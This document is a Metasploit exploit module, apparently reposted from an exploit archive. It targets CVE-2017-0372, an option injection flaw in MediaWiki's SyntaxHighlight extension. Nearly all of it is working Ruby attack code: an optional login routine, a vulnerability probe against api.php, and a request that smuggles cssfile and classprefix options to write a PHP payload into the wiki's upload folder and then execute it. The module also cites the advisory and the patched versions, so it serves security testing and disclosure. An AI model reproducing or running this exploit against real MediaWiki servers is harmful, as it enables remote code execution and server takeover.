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MediaWiki SyntaxHighlight Extension Option Injection

Posted on 23 May 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability',
'Description' => %q{
This module exploits an option injection vulnerability in the SyntaxHighlight
extension of MediaWiki. It tries to create & execute a PHP file in the document root.
The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.

This vulnerability affects any MediaWiki installation with SyntaxHighlight version 2.0
installed & enabled. This extension ships with the AIO package of MediaWiki version
1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and
version 1.27.3.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'Platform' => 'php',
'Payload' => { 'BadChars' => "#{(0x1..0x1f).to_a.pack('C*')} ,'"" } ,
'References' =>
[
[ 'CVE', '2017-0372' ],
[ 'URL', 'https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/000207.html' ],
[ 'URL', 'https://phabricator.wikimedia.org/T158689' ],
[ 'URL', 'https://securify.nl/advisory/SFY20170201/syntaxhighlight_mediawiki_extension_allows_injection_of_arbitrary_pygments_options.html' ]
],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 06 2017'))

register_options(
[
OptString.new('TARGETURI', [ true, "MediaWiki base path (eg, /w, /wiki, /mediawiki)", '/wiki' ]),
OptString.new('UPLOADPATH', [ true, "Relative local upload path", 'images' ]),
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]),
OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ])
])
end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
'cookie' => @cookie,
'vars_post' => {
'action' => 'parse',
'format' => 'json',
'contentmodel' => 'wikitext',
'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
}
})

if(res && res.headers.key?('MediaWiki-API-Error'))
if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException')
return Exploit::CheckCode::Appears
elsif(res.headers['MediaWiki-API-Error'] == 'readapidenied')
print_error("Login is required")
end
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

# use deprecated interface
def login
print_status("Trying to login....")
# get login token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
'vars_post' => {
'action' => 'login',
'format' => 'json',
'lgname' => datastore['USERNAME']
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
json = res.get_json_document
if json.empty? || !json['login'] || !json['login']['token']
fail_with(Failure::Unknown, 'Server returned an invalid response')
end
logintoken = json['login']['token']
@cookie = res.get_cookies

# login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
'cookie' => @cookie,
'vars_post' => {
'action' => 'login',
'format' => 'json',
'lgname' => datastore['USERNAME'],
'lgpassword' => datastore['PASSWORD'],
'lgtoken' => logintoken
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
json = res.get_json_document
if json.empty? || !json['login'] || !json['login']['result']
fail_with(Failure::Unknown, 'Server returned an invalid response')
end
if json['login']['result'] == 'Success'
@cookie = res.get_cookies
else
fail_with(Failure::Unknown, 'Failed to login')
end
end

def exploit
@cookie = ''
if datastore['USERNAME'] && datastore['USERNAME'].length > 0
login
end

check_code = check
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget, "#{peer}")
end

phpfile = "#{rand_text_alpha_lower(25)}.php"
cssfile = "#{datastore['UPLOADPATH']}/#{phpfile}"
cleanup = "unlink("#{phpfile}");"
if not datastore['CLEANUP']
cleanup = ""
end
print_status("Local PHP file: #{cssfile}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api.php'),
'cookie' => @cookie,
'vars_post' => {
'action' => 'parse',
'format' => 'json',
'contentmodel' => 'wikitext',
'text' => "<syntaxhighlight lang='java' start='0,full=1,cssfile=#{cssfile},classprefix=<?php #{cleanup}#{payload.encoded} exit;?>'></syntaxhighlight>"
}
})
if res
print_status("Trying to run #{normalize_uri(target_uri.path, cssfile)}")
send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)})
end
end
end

 

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